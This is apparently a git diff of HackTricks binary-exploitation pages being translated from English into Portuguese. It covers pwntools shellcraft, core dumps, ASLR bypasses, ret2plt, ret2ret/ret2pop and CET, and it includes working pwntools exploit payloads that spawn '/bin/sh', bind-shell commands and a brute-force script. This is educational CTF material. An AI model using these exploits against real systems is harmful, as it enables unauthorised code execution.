## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Obter shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Pode selecionar:**
**Can select:**
- shellcode e argumentos para o shellcode
- Arquivo de saída
- formato de saída
- depuração (anexar dbg ao shellcode)
- antes (trap de depuração antes do código)
- depois
- evitar usar opcodes (padrão: não nulo e nova linha)
- Executar o shellcode
- Cor/sem cor
- listar syscalls
- listar possíveis shellcodes
- Gerar ELF como uma biblioteca compartilhada
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Modelo Pwn
Obtenha um modelo em python
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Pode selecionar:** host, porta, usuário, senha, caminho e silencioso
## Pwn unhex
From hex to string
De hex para string
```
pwn unhex 686f6c61
```
## Atualização do Pwn
## Pwn update
To update pwntools
Para atualizar o pwntools
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Proteções e Bypasses Comuns de Exploração Binária
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Habilitar arquivos de Core
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**Arquivos de Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem de memória do processo que falhou no momento de sua terminação, incluindo a memória do processo, registradores e o estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha.
### **Enabling Core Dump Generation**
### **Habilitando a Geração de Core Dumps**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
Por padrão, muitos sistemas limitam o tamanho dos arquivos de core a 0 (ou seja, não geram arquivos de core) para economizar espaço em disco. Para habilitar a geração de arquivos de core, você pode usar o comando **`ulimit`** (no bash ou shells semelhantes) ou configurar as definições em todo o sistema.
- **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão de shell atual crie arquivos de core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite que todos os usuários gerem arquivos de core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões.
```markdown
- soft core unlimited
```
### **Analisando Arquivos de Core com GDB**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Para analisar um arquivo de core, você pode usar ferramentas de depuração como o GDB (GNU Debugger). Supondo que você tenha um executável que produziu um despejo de core e o arquivo de core é nomeado `core_file`, você pode iniciar a análise com:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Este comando carrega o executável e o arquivo de core no GDB, permitindo que você inspecione o estado do programa no momento da falha. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa da falha.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente estouros de buffer.
### **Checking ASLR Status**
### **Verificando o Status do ASLR**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: Sem randomização. Tudo é estático.
- **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
- **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada.
Você pode verificar o status do ASLR com o seguinte comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Desativando ASLR**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
Para **desativar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desativá-lo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
Você também pode desativar o ASLR para uma execução com:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Habilitando ASLR**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistência Entre Reinicializações**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
Após editar `/etc/sysctl.conf`, aplique as alterações com:
```bash
sudo sysctl -p
```
This will ensure that your ASLR settings remain across reboots.
Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações.
## **Bypasses**
### 32bit brute-forcing
### Força bruta de 32 bits
PaX divides the process address space into **3 groups**:
PaX divide o espaço de endereçamento do processo em **3 grupos**:
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
- **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
- **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`.
- **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Ideias de força bruta:
- Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**.
- Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**.
- Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### Força bruta na pilha de 64 bits
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\
O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Informações Locais (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário
- **startstack**: O endereço do início da **stack**
- **start_data** & **end_data**: Endereços acima e abaixo onde está o **BSS**
- **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos cli**.
- **env_start** & **env_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
### Having a leak
### Tendo um leak
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **O desafio é fornecer um leak**
Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
Você pode encontrar mais informações sobre leitura arbitrária de Format Strings em:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
Tente contornar o ASLR abusando de endereços dentro da pilha:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir execução de código sem precisar contornar o **ASLR** para esta parte do exploit.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**.
Isso pode ser feito com um payload `pwntools` como ([**a partir daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Note como **`puts`** (usando o endereço do PLT) é chamado com o endereço de `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando `puts` imprime a entrada da GOT de puts, esta **entrada conterá o endereço exato de `puts` na memória**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Também note como o endereço de `main` é usado no exploit, então quando `puts` termina sua execução, o **binário chama `main` novamente em vez de sair** (assim o endereço vazado continuará a ser válido).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> Note como, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um vazamento para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro.
Você pode encontrar um [**exemplo completo desse contorno aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final daquele **exemplo**:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Outros exemplos e Referências
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget único.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
O principal **objetivo** desta técnica é tentar **burlar o ASLR abusando de um ponteiro existente na pilha**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
Basicamente, estouros de pilha são geralmente causados por strings, e **strings terminam com um byte nulo no final** na memória. Isso permite tentar reduzir o lugar apontado por um ponteiro existente já na pilha. Então, se a pilha contivesse `0xbfffffdd`, esse estouro poderia transformá-lo em `0xbfffff00` (note o último byte zerado).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
Se esse endereço apontar para nosso shellcode na pilha, é possível fazer o fluxo chegar a esse endereço **adicionando endereços à instrução `ret`** até que esta seja alcançada.
Therefore the attack would be like this:
Portanto, o ataque seria assim:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- Sobrescrever a pilha a partir do EIP com **endereços para `ret`** (RET sled)
- 0x00 adicionado pela string modificando um endereço da pilha fazendo-o apontar para o NOP sled
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) o exploit.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
Caso você consiga encontrar um **ponteiro perfeito na pilha que você não quer modificar** (no `ret2ret` mudamos o byte final mais baixo para `0x00`), você pode realizar o mesmo ataque `ret2ret`, mas o **comprimento do RET sled deve ser encurtado em 1** (para que o final `0x00` sobrescreva os dados logo antes do ponteiro perfeito), e o **último** endereço do RET sled deve apontar para **`pop <reg>; ret`**.\
Dessa forma, os **dados antes do ponteiro perfeito serão removidos** da pilha (esses são os dados afetados pelo `0x00`) e o **último `ret` apontará para o endereço perfeito** na pilha sem nenhuma alteração.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit.
## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET** é um recurso de segurança implementado no nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou para encadear pedaços de código benigno de uma maneira que realiza uma ação maliciosa.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET introduz duas características principais: **Indirect Branch Tracking (IBT)** e **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
